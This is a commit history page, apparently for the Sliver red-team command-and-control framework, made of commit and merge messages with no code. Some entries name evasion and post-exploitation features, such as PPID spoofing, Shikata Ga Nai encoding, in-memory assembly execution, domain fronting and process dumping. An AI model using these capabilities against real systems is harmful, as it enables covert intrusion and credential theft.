Compare commits

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Author SHA1 Message Date
moloch-- f1030ebaa4 Added additional checks for uuid.Nil 2022-08-31 07:08:47 -07:00
moloch-- 39da957b7c Fix issue #813 2022-08-31 06:56:41 -07:00
Joe 4ffb75fa15 Merge pull request #809 from jamesgol/multi-persist
Ensure persistent multiplayer consoles startup
2022-08-30 11:46:50 -05:00
Ronan Kervella f9bc1a7bd3 Merge pull request #810 from BishopFox/moloch---patch-1
Update CODEOWNERS
2022-08-30 09:45:40 -07:00
Joe 7a22ed901a Update CODEOWNERS 2022-08-30 08:47:51 -05:00
James Golovich a29135770f Ensure persistent multiplayer consoles startup 2022-08-29 19:36:00 -07:00
Joe abde731c35 Merge pull request #808 from BishopFox/fix/registry-type
fix RegistryType off-by-one
2022-08-29 13:52:21 -05:00
Leron Gray 1f7bc9b227 fix RegistryType off-by-one 2022-08-29 11:08:00 -07:00
Ronan Kervella 8617ac9c47 Merge pull request #807 from BishopFox/fix/registry-type
add RegistryType to protobuf
2022-08-29 08:23:38 -07:00
Leron Gray 8aa8095010 add RegistryType to protobuf 2022-08-29 00:55:31 -07:00
Ronan Kervella b621107965 Merge pull request #804 from BishopFox/stage
Add warning for argument overflow
2022-08-26 13:27:14 -07:00
rkervella 04f0d38bd2 Add warning for argument overflow 2022-08-26 12:14:05 -07:00
Ronan Kervella 8ef7f465a4 Merge pull request #803 from BishopFox/in-proc-execute-assembly
In process `execute-assembly`
2022-08-26 11:54:42 -07:00
rkervella 102ee0b533 Merge branch 'master' into in-proc-execute-assembly 2022-08-26 11:06:13 -07:00
rkervella c3cb978ee6 Add debug log 2022-08-26 11:03:26 -07:00
Ronan Kervella 18ddfd2943 Merge pull request #802 from BishopFox/feature/ppid-spoofing
Fix grumble flag (Uint instead of Int)
2022-08-26 11:02:56 -07:00
rkervella 3b3a335c41 Working in-mem execute-assembly 2022-08-26 10:50:59 -07:00
rkervella b64f00a66e Fix grumble flag (Uint instead of Int) 2022-08-26 09:09:51 -07:00
rkervella 6a44f6b435 WIP, doesn't work 2022-08-26 08:26:55 -07:00
rkervella e4db654d62 Add in-proc flag in RPC call 2022-08-25 14:31:47 -07:00
rkervella 1a1924273b Fix undefined vars 2022-08-25 14:31:33 -07:00
Joe c20acb9657 Merge pull request #800 from jamesgol/postgres2
Get sliver working with PostgreSQL
2022-08-25 16:26:24 -05:00
rkervella 3d89716007 Fix implant vendor 2022-08-25 14:24:28 -07:00
rkervella 3351ab0fee Fix implant vendor 2022-08-25 14:24:16 -07:00
rkervella 4c062445ad Add back vendor 2022-08-25 14:16:34 -07:00
rkervella bdb6393842 Add alias support 2022-08-25 14:11:15 -07:00
rkervella 20a4043d7c Add client-side support 2022-08-25 14:09:36 -07:00
rkervella 79d720d477 Add RPC support for in-proc execute-assembly 2022-08-25 14:03:51 -07:00
rkervella 2ec234fd8c update vendor 2022-08-25 13:49:48 -07:00
rkervella 3ab978e754 Update script to work on macos 2022-08-25 13:49:33 -07:00
rkervella 0644a82a2c Add implant support for in-proc execute-assembly 2022-08-25 13:49:10 -07:00
James Golovich d6c41f1713 Reorder models so the dependencies are defined before they are used. 2022-08-25 12:57:05 -07:00
James Golovich 660af1fe60 Setup DSN properly for PostgreSQL 2022-08-25 12:56:32 -07:00
Joe 79f2d48fcd Merge pull request #797 from BishopFox/fix/extensions
Fix race condition in extensions
2022-08-24 15:43:07 -05:00
Joe 166c494894 Merge pull request #796 from BishopFox/sgn
Shikata Ga Nai
2022-08-24 15:04:42 -05:00
rkervella 01121922e9 Add mutex to extension structures 2022-08-24 13:01:15 -07:00
rkervella c1a9702760 Merge branch 'master' into fix/extensions 2022-08-24 12:37:56 -07:00
moloch-- 1be70b3053 Improved standalone cmd help 2022-08-24 11:24:11 -07:00
moloch-- f0405a3beb Integrated sgn with generate shellcode 2022-08-24 11:13:57 -07:00
moloch-- 68e9dcc61c Inegrated sgn into execute-shellcode 2022-08-24 10:56:35 -07:00
moloch-- f75d791d20 Fix input file and rcp func name 2022-08-24 09:44:55 -07:00
moloch-- 223500ed83 Initial integration of sgn 2022-08-24 09:05:01 -07:00
Joe e72cc7dcef Merge pull request #795 from BishopFox/feature/ppid-spoofing
Add PPID spoofing + custom process arguments for fork/exec commands
2022-08-23 14:39:56 -05:00
rkervella 709065a067 Cast to proper message 2022-08-23 11:41:05 -07:00
rkervella 99c23dc226 Only use token when specified 2022-08-23 11:18:43 -07:00
rkervella 8a278ce532 Add PPID spoofing + custom process arguments for fork/exec commands 2022-08-23 11:12:36 -07:00
Ronan Kervella 29755d7109 Merge pull request #792 from MrAle98/fix/namedpipe-pivots
Fix/namedpipe pivots
2022-08-22 08:25:35 -07:00
MrAle98 1d885c6083 fix 2022-08-19 22:49:04 +02:00
MrAle98 f85d0d64d8 fix 2022-08-19 22:49:03 +02:00
MrAle98 28e52e42b4 re-added debug option 2022-08-19 22:49:02 +02:00
MrAle98 8bfba5cb50 added delivery in chunks 2022-08-19 22:49:01 +02:00
Joe 6bb49e444b Merge pull request #787 from BishopFox/feature/stage-encryption
Fix stage encryption and add zlib compression option
2022-08-16 19:59:31 -05:00
moloch-- 205737f768 No compression by default 2022-08-16 17:21:33 -07:00
moloch-- f19c43f07b Added deflate9 compression option 2022-08-16 17:14:10 -07:00
moloch-- 81b8002ac0 Compress prior to encryption 2022-08-16 17:07:55 -07:00
moloch-- c5853a35fc Call the compression function 2022-08-16 17:06:40 -07:00
moloch-- 98f55c8432 Make compression configurable 2022-08-16 17:06:00 -07:00
rkervella 34f60a7b1a Fix stage encryption and add zlib compression option 2022-08-16 15:22:53 -07:00
Joe 9987f377a2 Merge pull request #786 from BishopFox/fix/profiles-beacon-name
Add missing `--name` flag for beacon profiles
2022-08-12 18:29:58 -05:00
rkervella 9852f03ebb Add missing --name flag for beacon profiles 2022-08-11 09:41:26 -07:00
Ronan Kervella ce95f86f38 Merge pull request #784 from BishopFox/fix/donwload
Fix `donwload` for folders in beacon mode
2022-08-10 14:06:47 -07:00
rkervella ae61aa032e Fix download command for folders in beacon mode 2022-08-10 11:34:44 -07:00
Ronan Kervella cec867426f Merge pull request #782 from BishopFox/go/v1.18.5
go version 1.18.5
2022-08-10 08:08:28 -07:00
moloch-- 8479252975 force go version in workflows 2022-08-09 12:04:50 -07:00
moloch-- 4bfb38e52d go version 1.18.5 2022-08-09 11:58:12 -07:00
moloch-- aba4a140c3 add codeowners 2022-08-08 08:31:22 -07:00
Joe df4245c69b Merge pull request #776 from tothi/master
add recognition of SentinelOne security product to the ps cmd
2022-08-01 10:19:45 -05:00
TÓTH István 44578c32ed add recognition of SentinelOne security product to the ps cmd 2022-08-01 13:04:07 +02:00
Joe 07a53b8c75 Merge pull request #773 from tothi/master
windows sideload fix
2022-07-31 22:25:36 -05:00
TÓTH István e08f420606 fix longhelp for sideload 2022-07-31 20:41:10 +02:00
TÓTH István b19cfba921 regenerated protobuf files after adding a new option to sideload cmd 2022-07-31 20:37:27 +02:00
TÓTH István 3b821d19bd add unicode DLL argument passing option for sideload Donut generator 2022-07-31 14:48:29 +02:00
TÓTH István 4e8e254c0e fix DonutShellCodeFromPE call for Windows by passing through EntryPoint parameter 2022-07-31 14:21:07 +02:00
moloch-- d1cf55805a fix spelling mistake 2022-07-29 21:01:21 -07:00
Ronan Kervella 7d07f4c518 Merge pull request #770 from rwhitcroft/feature/psexec-custom-exe
allow custom executables with psexec
2022-07-29 11:08:44 -07:00
Rich Whitcroft 5d3cb883d9 allow custom executables with psexec 2022-07-28 21:41:52 -04:00
Ronan Kervella 29f816ef7e Merge pull request #767 from BishopFox/fix/sideload
Use session agnostic info in Donut call
2022-07-28 08:50:26 -07:00
moloch-- 3ec4c5129c Add example connection string to prelude connect 2022-07-27 15:12:42 -07:00
rkervella 2840e6ed9a Use session agnostic info in Donut call 2022-07-27 14:39:01 -07:00
moloch-- fee6ee8f2d Avoid closing nil tunnel readers #749 2022-07-25 19:36:14 -07:00
moloch-- a1d3cbd0da Add instructions to shell cmd 2022-07-25 19:31:41 -07:00
Joe 4a17490592 Merge pull request #762 from BishopFox/offline-builds
Offline builds
2022-07-25 21:08:07 -05:00
moloch-- e1d7208164 Default to GOPROXY=off 2022-07-25 16:40:05 -07:00
moloch-- 7476a3dbc5 Merge branch 'capnspacehook-easier-offline-implant-builds' into offline-builds 2022-07-25 16:36:20 -07:00
Andrew LeFevre 09a97fbbf4 force implant building tests to run offline, document the need to keep the implant vendor dir updated 2022-07-23 17:27:55 -04:00
Andrew LeFevre 8c8dd280fb create vendor dir for implants and script to update it 2022-07-23 15:31:14 -04:00
Ronan Kervella d94c596a1e Merge pull request #760 from BishopFox/fix/loot-nil-deref
Check for nil pointer before using loot.File
2022-07-22 11:51:17 -07:00
rkervella 57fe465f10 Check for nil pointer before using loot.File 2022-07-22 11:01:10 -07:00
Joe f2da77100f Merge pull request #757 from BishopFox/dependabot/bundler/docs/tzinfo-1.2.10
Bump tzinfo from 1.2.9 to 1.2.10 in /docs
2022-07-22 08:05:21 -05:00
dependabot[bot] 7b5ff4790d Bump tzinfo from 1.2.9 to 1.2.10 in /docs
Bumps [tzinfo](https://github.com/tzinfo/tzinfo) from 1.2.9 to 1.2.10.
- [Release notes](https://github.com/tzinfo/tzinfo/releases)
- [Changelog](https://github.com/tzinfo/tzinfo/blob/master/CHANGES.md)
- [Commits](https://github.com/tzinfo/tzinfo/compare/v1.2.9...v1.2.10)

---
updated-dependencies:
- dependency-name: tzinfo
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-07-22 09:13:08 +00:00
Joe 5292f43cd2 Merge pull request #752 from timwr/fix_751
fix #751, fix ps arch on x86 windows
2022-07-19 14:16:44 -05:00
timwr c4420424af fix #751, fix ps arch on x86 windows 2022-07-19 14:37:33 +07:00
moloch-- b0d6a9ba95 Fix build constraints for windows/arm 2022-07-18 20:06:10 -07:00
Joe c46e193153 Merge pull request #745 from timwr/add_ps_arch
fix #714, Add process Architecture to the ps command
2022-07-18 20:52:00 -05:00
Ronan Kervella 71dff0ff64 Merge pull request #748 from BishopFox/fix/missing-profile-flag
Add missing `name` flag to profiles command
2022-07-18 13:20:47 -07:00
rkervella e1b1132667 Add missing name flag to profiles command 2022-07-18 12:16:58 -07:00
timwr ac262a3620 fix #714, Add process Architecture to the ps command 2022-07-19 00:08:49 +07:00
moloch-- e6277fb55f skip nil tunnel readers 2022-07-17 19:16:16 -07:00
Ronan Kervella f7e8e65126 Merge pull request #744 from BishopFox/feature/vim-mode
Make vim mode configurable via client settings
2022-07-15 13:33:53 -07:00
rkervella afe6c88f83 Make vim mode configurable via client settings 2022-07-15 12:18:07 -07:00
Joe 361a4e5112 Merge pull request #743 from BishopFox/go/v1.18.4
Update to Go v1.18.4 and bump grumble
2022-07-15 12:24:30 -05:00
moloch-- 4e7093671c Update to Go v1.18.4 and bump grumble 2022-07-15 09:44:52 -07:00
Joe 68b129acaa Merge pull request #740 from BishopFox/fix/shell-stderr
Support multiple `io.ReadCloser` in `transports.Tunnel`
2022-07-10 21:48:14 -05:00
rkervella e9d0f23152 Use a ReadCloser slice in transports.Tunnel 2022-07-10 11:00:38 -07:00
Joe 1099a4acb7 Merge pull request #739 from BishopFox/fix/implant-name
Fix regression from #737
2022-07-10 10:48:16 -07:00
rkervella a51c318807 Fix regression from #737 2022-07-10 09:40:09 -07:00
rkervella e7284b5880 Handle stderr for shell command 2022-07-10 09:33:42 -07:00
rkervella 0b9cf0f105 Remove raw data print 2022-07-10 09:26:43 -07:00
rkervella 8350b441ca Remove raw dump of session data 2022-07-10 09:22:04 -07:00
rkervella f5646d9975 Fix flag parsing for implant name 2022-07-10 09:15:49 -07:00
Joe ad312b517a Merge pull request #737 from Marshall-Hallenbeck/master
Allow additional characters in implant, session, and beacon names
2022-07-09 20:31:39 -07:00
Marshall Hallenbeck 253197f21a Allow for _-. characters in session & beacon names; closes #738 2022-07-09 21:24:42 -04:00
Marshall Hallenbeck 31e0ad2967 use actual util AllowedName function in server side check for #735 2022-07-09 21:06:32 -04:00
Marshall Hallenbeck f83007fe19 Allow additional characters in implant names; closes #735 2022-07-09 20:46:02 -04:00
Joe e3e5016ed0 Merge pull request #734 from BishopFox/fix/named-pipe-perms
Fix/named pipe perms
2022-07-07 18:31:52 -07:00
rkervella fb4e05617c Merge branch 'master' into fix/named-pipe-perms 2022-07-07 17:07:22 -07:00
rkervella 5a781500ee Fix [SMB Named Pipe] ACL is too restrictive on pivot named pipe #732 2022-07-07 17:05:34 -07:00
Joe fbef52a72d Merge pull request #731 from RafBishopFox/master
Adding Filtering to the Download Command
2022-07-07 15:25:49 -05:00
RafBishopFox a018ba6a11 client/download: use filepath.Base to prevent directory traversal 2022-07-07 11:18:43 -04:00
RafBishopFox fb38c6e4bb download command: Closing files after adding them to the archive 2022-07-07 10:44:15 -04:00
RafBishopFox c989e2970d Fixing protobuf for backwards compatibility 2022-07-07 10:29:33 -04:00
RafBishopFox d935bfb8b3 Adding filtering to the download command 2022-07-07 09:17:46 -04:00
Joe 814670dc6d Merge pull request #727 from RafBishopFox/master
Moving filtering functionality of ls to the implant
2022-06-23 16:23:48 -05:00
Raf 140c47e163 Merge branch 'BishopFox:master' into master 2022-06-23 12:50:53 -04:00
RafBishopFox e28b062e6c Moving ls filtering fuctionality to the implant, add item count and total size to ls output, resolve symlinks in ls output 2022-06-23 09:57:23 -04:00
moloch-- be7b723c8a Spelling fix 2022-06-21 08:24:22 -07:00
Joe 6be3ff8db2 Merge pull request #725 from BishopFox/fix/tun-handlers-errors
Add error reporting on failure for certain tunnel handlers.
2022-06-21 09:05:17 -05:00
rkervella 20520755b2 Add client side error handling 2022-06-20 20:22:43 -07:00
rkervella 0f7b6c0f35 Report errors on failure for shell and portfwd 2022-06-20 19:57:50 -07:00
Joe 0c7c2e0291 Merge pull request #724 from BishopFox/fix/alias-install-path
Fix alias installation directory for manual installs
2022-06-20 18:45:02 -05:00
rkervella 709a5fa453 Use CommandName as base directory 2022-06-20 15:23:17 -07:00
Joe 5e4ec91914 Merge pull request #722 from BishopFox/fix/execute-assembly
Fix argument parsing in execute-assembly to remove trailing spaces
2022-06-20 13:09:07 -05:00
rkervella a19ec2b348 Fix argument parsing in execute-assembly to remove trailing spaces 2022-06-20 10:24:50 -07:00
rkervella d55c20d7a2 Compare command names instead of extension name 2022-06-17 14:59:57 -07:00
Joe 9118f7423f Merge pull request #716 from BishopFox/fix/netstack-regression
Fix regression: add back IP forwarding for wireguard tunnels.
2022-06-15 09:59:09 -05:00
rkervella c7844f57b3 Fix regression: add back IP forwarding for wireguard tunnels. 2022-06-14 18:30:59 -07:00
Joe 23eef3d15c Merge pull request #706 from BishopFox/go/v1.18.3
Go v1.18.3
2022-06-09 17:40:24 -05:00
moloch-- 22b2704259 Go v1.18.3 2022-06-09 14:20:51 -07:00
Ronan Kervella 856fbb5974 Merge pull request #705 from BishopFox/fix/beacon-download
Fix `download` and `cat` regression
2022-06-09 11:28:04 -07:00
rkervella 6cbfe64f61 Remove commented code 2022-06-09 10:20:13 -07:00
rkervella 573ec4d800 Fix download and cat regression 2022-06-09 10:18:45 -07:00
Joe 11f93ab5b2 Merge pull request #703 from BishopFox/armory/auth
Armory Auth
2022-06-07 21:55:53 -05:00
moloch-- 48a061d59e Merge branch 'master' into armory/auth 2022-06-07 18:55:09 -07:00
Joe 2b7506b393 Merge pull request #702 from r00t0v3rr1d3/r00t0v3rr1d3-domain-fronting
Enable Domain Fronting
2022-06-07 11:40:42 -05:00
Chris Shields 2620758056 Enable Domain Fronting
Allow domain fronting by taking in HTTP C2 Advanced Option "host-header". 

Reference: https://github.com/Ne0nd0g/merlin/commit/4835ac3fa73acd963f578428d1d3e75d5cbb1bab
2022-06-07 11:54:31 -04:00
moloch-- 6262266cac Rename util.Encrypt to PreludeEncrypt 2022-06-06 07:26:25 -07:00
moloch-- 37524596bb Base64 fix to default index parser 2022-06-05 18:25:07 -07:00
moloch-- 91108619f5 Init headers map 2022-06-05 15:50:02 -07:00
moloch-- 7972fce3cc Initial implementation 2022-06-05 15:38:55 -07:00
moloch-- 30c569259d Outline auth support for private armories 2022-06-04 11:51:28 -07:00
Joe 978a66bdb0 Merge pull request #699 from mrThe/packet-shell-socks-improvements
Packet handling, socks and shell improvements
2022-06-04 13:50:11 -05:00
Joe 525eda0d15 Merge pull request #700 from mrThe/beacon-stability
Fix panic on beacon session interactive mode
2022-06-04 13:40:50 -05:00
mr.The 16aa7742ba Fix panic on beacon session interactive mode 2022-06-04 18:26:51 +03:00
mr.The 754aab265e Fix namedpipe build 2022-06-04 18:13:40 +03:00
mr.The 4b2558da0c Fix io reference 2022-06-04 17:00:09 +03:00
mr.The 838db70177 Improve closed connection handling
It's okay not to close channels if it is used for writing. Close tunnels
instead.
2022-06-04 16:27:24 +03:00
mr.The 136b50645e Extract structs from implants session.go 2022-06-04 14:31:32 +03:00
mr.The 1345c5e7d1 Tun-handlers file is a way to big, decided to split into different files 2022-06-04 14:00:49 +03:00
mr.The ffb0b0e795 Improve shell handling
Now shell will be properly closed on failure
2022-06-04 13:27:21 +03:00
mr.The d7e740b50f Improve socks handling 2022-06-03 20:51:41 +03:00
mr.The bb5f42466e Improve packet reading handling
Once we know the packet sice - we need to use ReadFull function to read
the packet to be sure we reading it right
2022-06-02 19:02:52 +03:00
Joe 1d4422b465 Merge pull request #693 from BishopFox/armory/all
Added 'armory install all' option
2022-05-29 17:14:41 -05:00
moloch-- 6dfb64ab3b Added 'armory install all' option 2022-05-29 12:28:43 -07:00
Joe 524bfdb8bb Merge pull request #692 from mrThe/fix-pivots-not-synced
Fix pivots not synced
2022-05-29 11:54:33 -05:00
moloch-- 3451490918 Added lic, updated assets gitgitnore for linux/arm64 2022-05-29 09:43:21 -07:00
Joe dc65bddfbb Merge pull request #691 from mrThe/race-conditions
Race conditions fixes and stability improvements
2022-05-29 11:40:34 -05:00
mr.The ae9fc59fa2 Remove pivot listener once it stoped from the server 2022-05-29 19:16:34 +03:00
mr.The 4c7ae8de7d Fix restarting pivot listeners, so it don't panic 2022-05-29 19:14:49 +03:00
mr.The 8865eebf55 Fix tests for non debug and windows builds 2022-05-29 18:07:45 +03:00
mr.The 56c019345d Socks stability improvements 2022-05-29 16:43:05 +03:00
mr.The 1594a2a0eb Client improved tunnel handling and additional logging 2022-05-29 14:25:02 +03:00
mr.The 675723037d Implant additional debug logs and imroved tunnels handling 2022-05-29 14:23:07 +03:00
mr.The b42c615bcf Portfwd connection handling improvements 2022-05-29 14:20:14 +03:00
mr.The f7633bbb9e Fix race condition on closing tunnels 2022-05-29 14:17:30 +03:00
mr.The 2010b08228 Change mtls reader to io.ReadFull 2022-05-29 14:09:56 +03:00
mr.The d1e97e904c Improve stability for remove shells
Fixed few raceconditions and remove unnecessary code
2022-05-28 18:41:56 +03:00
mr.The 647c8ae875 Improve pivot sessions handling, avoid stucking on implant crash
Before that if we are in shell on pivoted implant and it somewhy dies -
we are stuck forever.
2022-05-28 16:05:11 +03:00
mr.The 797365da62 Add sync.Mutex for rpc-tunnel so it wont race 2022-05-28 14:16:15 +03:00
mr.The 62be36e4ce Tunnels refactoring and datarace fixes
Golang documentation mentioning it's unsafe to concurently send messages
via same tunnel, so there is a mutex and a data copy on write
2022-05-28 14:16:14 +03:00
Joe e6ebee9db6 Merge pull request #690 from BishopFox/fix/yaml
Upgrade yaml dep
2022-05-26 16:23:47 -05:00
moloch-- 9bdb54e023 Upgrade yaml dep 2022-05-26 13:18:09 -07:00
mr.The 50490790f1 Fix datarace on last checkin timestamp 2022-05-26 19:16:01 +03:00
mr.The e16b13c89c Fix datarace on error handling in beacon handler 2022-05-26 19:10:40 +03:00
Ronan Kervella 4339ea52e7 Merge pull request #687 from RafBishopFox/wghealth
Wireguard Session Health Status Fix
2022-05-24 14:42:57 +02:00
Joe f17ed1363f Merge pull request #686 from mrThe/master
Fix panic on x86 beacon startup, fix for #682
2022-05-23 17:43:50 -05:00
Joe ae1dc131d4 Merge pull request #685 from RafBishopFox/master
Beacon Interval Display Changes
2022-05-23 17:43:26 -05:00
RafBishopFox 22a503be9a Wireguard session health status fix 2022-05-23 13:14:27 -04:00
mr.The 1809bef81d Fix panic on x86 beacon startup 2022-05-23 19:31:41 +03:00
RafBishopFox e0a7ddfe17 Calculating beacon check in times server side, beacon interval display change, fix for interval calculation with beacon generation 2022-05-23 10:18:26 -04:00
Joe 65dd874eee Merge pull request #680 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.6
Bump nokogiri from 1.13.4 to 1.13.6 in /docs
2022-05-18 23:22:19 -05:00
dependabot[bot] a5fd494f13 Bump nokogiri from 1.13.4 to 1.13.6 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.4 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.4...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-05-19 03:40:00 +00:00
Joe 6fa4aeb780 Merge pull request #676 from BishopFox/go/v1.18.2
Go v1.18.2
2022-05-14 21:16:40 -05:00
moloch-- 4e6466f43c Go v1.18.2 2022-05-14 18:02:45 -07:00
Ronan Kervella 802ad9dded Merge pull request #675 from r00t0v3rr1d3/r00t0v3rr1d3-fix-timeout
Reduce http idle conn timeout
2022-05-11 15:53:18 -07:00
Chris Shields 11fb6a5d31 Reduce http idle conn timeout
Fixing regression issue where keep-alive packets were sent every 15 seconds using gohttp. I think this was only applied to https clients the first time as well, so now it is for both.
2022-05-11 17:24:24 -04:00
Joe dc18da51b6 Merge pull request #672 from RafBishopFox/master
UX Changes for Looting and Refactoring in the client/exec package
2022-05-04 16:35:09 -05:00
RafBishopFox a7c0a2a667 Harmonizing UX for loot across commands that support it with refactoring along the way 2022-05-04 14:48:53 -04:00
Joe e9b08e5723 Merge pull request #671 from RafBishopFox/download_loot
Add loot support to the download command
2022-05-02 14:27:19 -05:00
RafBishopFox 144fb88f74 Refactoring download and loot remote code, feature parity for download -X, various small fixes 2022-05-02 13:46:07 -04:00
RafBishopFox cb11ca6b0c Adding error checking when we can resolve the absolute path when downloading 2022-04-28 13:30:51 -04:00
RafBishopFox 708608c6f0 Adding the rest of the protobuf changes 2022-04-28 13:23:13 -04:00
RafBishopFox 4110b5bd28 Adding changes to sliver protobuf 2022-04-28 13:18:18 -04:00
RafBishopFox 73e59797d1 Standardize on use of filepath to resolve file names 2022-04-28 13:10:32 -04:00
RafBishopFox 7da3ccd876 Add loot support to the download command 2022-04-28 12:53:45 -04:00
Ronan Kervella e7452b27d5 Merge pull request #669 from RafBishopFox/master
Changing token owner to token user to display user name associated with processes in Windows
2022-04-27 12:01:13 -07:00
RafBishopFox ff503203e3 Changing token owner to token user to display user name associated with a process in Windows 2022-04-27 13:45:28 -04:00
moloch-- 8462e4415f added linux-arm64 to makefile, only specify arm64 GOARCH for no target 2022-04-26 18:22:23 -05:00
moloch-- af2f7ffc9d Organized go mod 2022-04-26 15:02:05 -05:00
moloch-- aacf2c16ac Add strategy flags to profile cmds 2022-04-18 12:40:58 -05:00
moloch-- c345731a6b Add static links to .so objs when using external CC 2022-04-17 23:47:18 -05:00
moloch-- c495377f4b Tweak CC env order 2022-04-17 20:57:29 -05:00
Joe cd5717db2a Merge pull request #664 from BishopFox/ux/strategy
Ux/strategy
2022-04-17 00:30:01 -05:00
moloch-- 1f00eec899 Remove conflicting beacon flag 2022-04-16 22:58:12 -05:00
moloch-- ef87aa91cc Append '.' to dns listener domain if missing 2022-04-16 21:29:47 -05:00
moloch-- faab1edaaf Implement connection strategy 2022-04-16 21:15:55 -05:00
Joe 6dab042c8c Merge pull request #663 from BishopFox/ux/cdc
Ux/cdc
2022-04-14 18:53:22 -05:00
Joe b116ac97c5 Merge pull request #660 from BishopFox/go/v1.18.1
Go/v1.18.1
2022-04-13 20:58:30 -05:00
moloch-- d9fe00d1ef Implemented session filter/filter-re 2022-04-13 20:36:37 -05:00
moloch-- 630f215bed Implemented beacon filter/filter-re 2022-04-13 14:48:27 -05:00
moloch-- f42ba31753 Organized imports 2022-04-13 13:53:07 -05:00
moloch-- 72065cd39e Removed totp <-> dns session id 2022-04-13 11:29:56 -05:00
moloch-- 0c1a0fd7bf Implement option to disable dns otp auth 2022-04-13 08:58:44 -05:00
moloch-- c12cbc77a7 Added linux arm64 support to builds 2022-04-13 08:25:08 -05:00
moloch-- f79e0d1845 Go v1.18.1 2022-04-13 08:11:23 -05:00
Joe b4b1a5bf74 Merge pull request #658 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.4
Bump nokogiri from 1.13.3 to 1.13.4 in /docs
2022-04-12 07:56:39 -05:00
dependabot[bot] c0431bf9db Bump nokogiri from 1.13.3 to 1.13.4 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.4.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/v1.13.4/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.4)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-04-12 10:03:25 +00:00
moloch-- 54ce7ef341 Added support for HTTPS_PROXY 2022-04-07 08:26:06 -05:00
moloch-- bbff000f5d Increase ci/cd timeout 2022-04-04 12:38:55 -07:00
Joe 009cae470e Merge pull request #656 from BishopFox/go-sqlite2
Updated gosqlite
2022-04-04 14:31:08 -05:00
moloch-- 291fcf6dc3 Updated gosqlite 2022-04-04 11:36:01 -07:00
Joe 696d2980ff Merge pull request #655 from npbf/wininet-promptpass
Add wininet driver option to ask user for proxy password
2022-04-01 19:12:17 -05:00
Noah f2065ca72a add option to ask for proxy creds 2022-04-01 15:26:51 -06:00
Noah 5a9c4c9ddb refactor, fix error return 2022-04-01 14:35:48 -06:00
Joe 6ff1edb962 Merge pull request #652 from m0rv4i/stack-alignment
Prepend stack alignment check to shellcode
2022-04-01 14:02:52 -05:00
Joe 93e772f5bf Merge pull request #654 from m0rv4i/file-saving
Fix go stager file saving
2022-04-01 12:58:20 -05:00
Joe 7f714621ea Merge pull request #647 from npbf/wininet
merge wininet, fix cookies
2022-04-01 12:16:57 -05:00
m0rv4i 11a4ae0741 Prepend stack alignment check to donut shellcode 2022-04-01 10:18:07 +01:00
m0rv4i debee05136 Fix go stager file saving 2022-03-31 20:36:41 +01:00
Noah c8eec91232 add prompt user for creds 2022-03-31 13:08:21 -06:00
Ronan Kervella f79a2892b7 Merge pull request #650 from RafBishopFox/master
Adding procdump support for Linux
2022-03-30 11:56:13 -07:00
RafBishopFox b86e49d341 Adding procdump support for Linux 2022-03-30 10:08:04 -04:00
Noah 8e6a8035b2 update err variables 2022-03-29 16:26:12 -06:00
Noah 0a8d4cb517 merge wininet, fix cookies
Extracted from winhttp2 branch
- limited to wininet code
- merged httpclient
- added (copied) cookie jar implementation to wininet
2022-03-28 10:47:34 -06:00
Ronan Kervella e098e3ec08 Merge pull request #637 from audibleblink/current-token-owner
display token owner
2022-03-23 14:03:34 -07:00
Alex Flores a89e52548d fixes beacon-mode printing 2022-03-23 15:07:07 -04:00
Alex Flores fe873b8d8e adds generated protobuf files 2022-03-23 14:18:56 -04:00
Alex Flores d0af0f5534 adds viewing current impersonated token via whoami 2022-03-23 14:18:55 -04:00
kmathisbf 3cc982068a Merge pull request #645 from BishopFox/session_clean_fix
Make sure timeout gets set when cleaning up dead sessions.
2022-03-23 13:58:12 -04:00
Kenny Mathis 1073dedf10 Make sure timeout gets set when cleaning up dead sessions. 2022-03-23 12:55:59 -04:00
Joe e42e6be266 Merge pull request #643 from BishopFox/fix/operator-dead-sessions
Fix `prelude-operator connect`
2022-03-22 13:42:40 -05:00
rkervella e43622606f Do not add dead sessions to operator 2022-03-22 10:23:21 -07:00
Joe 59c642143d Merge pull request #642 from audibleblink/no-ci-on-draft-prs
omits running CI on draft PRs
2022-03-21 23:13:01 -05:00
Alex Flores 8f01ab216d skip running CI on draft PRs 2022-03-21 22:45:52 -04:00
Ronan Kervella 062f89e768 Merge pull request #638 from audibleblink/feature/mv
adds generic mv command
2022-03-21 15:42:50 -07:00
Alex Flores 03b470aec7 adds generated protobuf files 2022-03-21 15:17:24 -04:00
Alex Flores a74d6f6250 adds mv command 2022-03-21 15:17:23 -04:00
moloch-- 4f62f16a1d Fix GOGARBLE env 2022-03-21 13:41:03 -05:00
Joe d4ec2203cb Merge pull request #640 from BishopFox/go/v1.18
Go/v1.18
2022-03-21 12:19:48 -05:00
moloch-- 8309e7af14 Merge master 2022-03-21 10:19:48 -05:00
moloch-- 68a270581f Pass down HTTP_PROXY env to go 2022-03-21 10:15:02 -05:00
moloch-- 5e222411c8 Update pb deps 2022-03-20 13:40:10 -05:00
moloch-- 727a40bc35 Update garble 2022-03-20 13:02:25 -05:00
moloch-- 2038fbcfa3 Update CI to Go v1.18 2022-03-20 12:13:11 -05:00
moloch-- 9a5a3d161a Fix err check in wg 2022-03-20 11:46:41 -05:00
moloch-- 4b4e7c82f2 Implant compiles, but errors on runtime 2022-03-20 11:44:25 -05:00
moloch-- 2844ef91d3 Update implant 2022-03-20 11:37:39 -05:00
moloch-- cffbae3da7 Compiles ... 2022-03-20 11:19:30 -05:00
moloch-- 35fa3c95b8 Attempting to use wg example code 2022-03-20 11:16:27 -05:00
moloch-- 53afb01366 Attempting to use wg example code 2022-03-20 11:16:20 -05:00
